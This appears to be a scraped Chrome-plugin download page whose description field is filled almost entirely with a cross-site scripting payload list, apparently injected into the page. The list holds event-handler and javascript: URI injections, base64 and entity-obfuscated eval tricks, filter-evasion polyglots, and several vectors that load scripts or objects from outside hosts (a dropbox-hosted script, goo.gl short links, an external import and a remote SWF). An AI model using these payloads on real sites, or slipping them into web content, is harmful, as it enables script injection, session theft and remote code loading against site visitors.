<script>alert();</script> Chrome插件下载及使用教程

插件截图

插件概述

插件详情

<br /> <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/><br /> <input type="text" value=""onresize=pompt(1) "> // IE 10 docmode<br /> <a href="javascript:alert(1)">CLICK ME<a><br /> <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)<br /> <img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'><br /> <link%20rel=import%20href=http://avlidienbrunn.se/test.php><br /> <link/rel=prefetch&#10import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4g><br /> <link rel="import" href="data:text/html,<script>alert(document.domain)&lt ;/script><br /> <video src=_ onloadstart="alert(1)"><br /> <iframe%0Aname="javascript:\u0061\u006C\u0065\u0072\u0074(1)" %0Aonload="eval(name)";><br /> <math><XSS href="javascript:alert(location)">aaa<br /> “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//<br /> javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a<br /> javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/<br /> javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*<br /> javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*<br /> javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//<br /> javascript:/*-- >]]>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img - /style=a:expression&#40&#47&#42'/- /*&#39,/**/eval(name)/*%2A///*///);width:100%;height:100%;position:absolute;-ms- behavior:url(#default#time2) name=alert(1)onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>"<br /> <sCRiPt>alert(1);</sCRipT><br /> <SCriPt>delete alert;alert(1)</sCriPt><br /> <script%20src="//www.dropbox.com/s/hp796og5p9va7zt/face.js?dl=1"><br /> <svg><script>alert&grave;1&grave;<p><br /> <svg><script>alert&DiacriticalGrave;1&DiacriticalGrave;<p><br /> "><svg><script>alert`1`<br /> <script%0a%0dConfirm(1);</script><br /> <scr<script>ipt>alert(1)</scr<script>ipt><br /> <a href=”http://www.google.com>Clickme</a><br /> <a href=”javascript:”>Clickme</a><br /> <a href=”javaScrRipt:alert(1)”>Clickme</a><br /> <a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:confirm(1)">Click<test><br /> <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;confirm(1)">Click<test><br /> <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074(1)" >Click<test><br /> "><a fooooooooooooooooooooooooooooooooo href=JaVAScript%26colon%3Bprompt%26lpar%3B1%26rpar%3B%><br /> <a href='javascript:http://@cc_on/confirm%28location%29'>click</a><br /> <a href="data:text/html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">Click<test><br /> <a/href=data&colon;text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==>ClickMe</a><br /> <a/href=data&colon;text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==>ClickMe</a><br /> <a href="data:text/html,<script>alert(1)&lt/script&gt">Click<test><br /> <a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a><br /> <a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a><br /> <form oninput=alert(1)></input></form><br /> <q/oncut=alert(1)><br /> <body/onhashchange=alert(1)><a href=#>clickit<br /> --><d/ /ondrag=co\u006efir\u006d(2)>hello.<br /> "><p id=""onmouseover=\u0070rompt(1) //<br /> <img src=x onerror=prompt(1);><br /> <img/src=aaa.jpg onerror=prompt(1);><br /> <video src=x onerror=prompt(1);><br /> <audio src=x onerror=prompt(1);><br /> <iframe src=x onerror=prompt(1)><br /> <video><source onerror="javascript:alert(1)"><br /> <embed/src=//goo.gl/nlX0P><br /> <form action="Javascript:alert(1)"><input type=submit> // Firefox, IE<br /> <isindex action="javascript:alert(1)" type=image> // Firefox, IE<br /> <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image> Google Chrome, IE<br /> <isindex x="javascript:" onmouseover="alert(1)" label="test"> // Firefox, IE<br /> <form/action='data:text/html,<script>alert(1)&lt/script&gt'><button>CLICK // Mario<br /> <button form=x>xss<form id=x action="javas&Tab;cript:alert(1)"//<br /> <form><isindex formaction="java&Tab;s&NewLine&cript&colon;confirm(1)"><br /> <input type="image" formaction=JaVaScript:alert(0)><br /> <form><input type="image" value="submit" formaction=//goo.gl/nlX0P><br /> <embed/code=//goo.gl/nlX0P?<br /> <embed/src=”//goo.gl/nlX0P”><br /> <object data=//0me.me/demo/xss/xssproject.swf?js=alert(document.domain); allowscriptaccess=always></object> // Soroush Dallili<br /> <object/data=”//goo.gl/nlX0P”><br /> <object data="javascript:alert(1)"> // FF <object/data="javascript&colon;alert(1)"> // FF <object data="javascript&colon;alert(1)"><br /> <object data="javascript:ale&# x72;t(1)"><br /> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> // Firefox only<br /> <object data="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB 4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy 8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"></object> // Firefox only<br /> <svg/onload=prompt(1);><br /> <marquee/onstart=confirm(2)>/<br /> <body onload=prompt(1);><br /> <marquee/finish=confirm(2)>/<br /> <select autofocus onfocus=alert(1)><br /> <textarea autofocus onfocus=alert(1)><br /> <keygen autofocus onfocus=alert(1)><br /> <body oninput=alert(document.domain)><input autofocus></br><br /> <img src=x onerror="javascript:window.onerror=alert;throw 1"><br /> <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';><br /> <script>alert`1`</script><br /> <img src=x onerror=prompt`1`><br /> <a onmouseover=location=’javascript:alert(1)>click<br /> <a onmouseover=location='&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#10 1&#114&#116&#40&#49&#41'>a<a><br /> <body onfocus="location='javascrpt:alert(1) >123<br /> <SCRIPT LANGUAGE="VBScript">%0a%0dFunction window_onload%0a%0dAlert 1%0a%0dEnd Function </SCRIPT><br /> <body language=vbs onload=alert-1 // IE-8<br /> <script type=text/vbscript>msgbox document.location</script> // IE 10<br /> <img language=vbscript src=<b onerror="alert 1"> // IE 8<br /> <svg/language=vbs onload=msgbox-1<br /> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> // By Secalert<br /> <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario<br /> <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg> // By Secalert<br /> <meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/><br /> <input type="text"value=""onclick="location=window[`atob`]`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21ha W4p`"/><br /> <input type="text" value=""onfocus=location='javascript:alert`1`' autofocus""/><br /> <svg><div onactivate=alert('Xss') id=xss style=overflow:scroll><br /> <div onfocus=alert('xx') id=xss style=display:table><br /> <body/onactivate=alert(1)><br /> <base href=data:/,0/><script src=alert(1)></script><br /> <base href=javascript:/0/><iframe src=,alert(1)>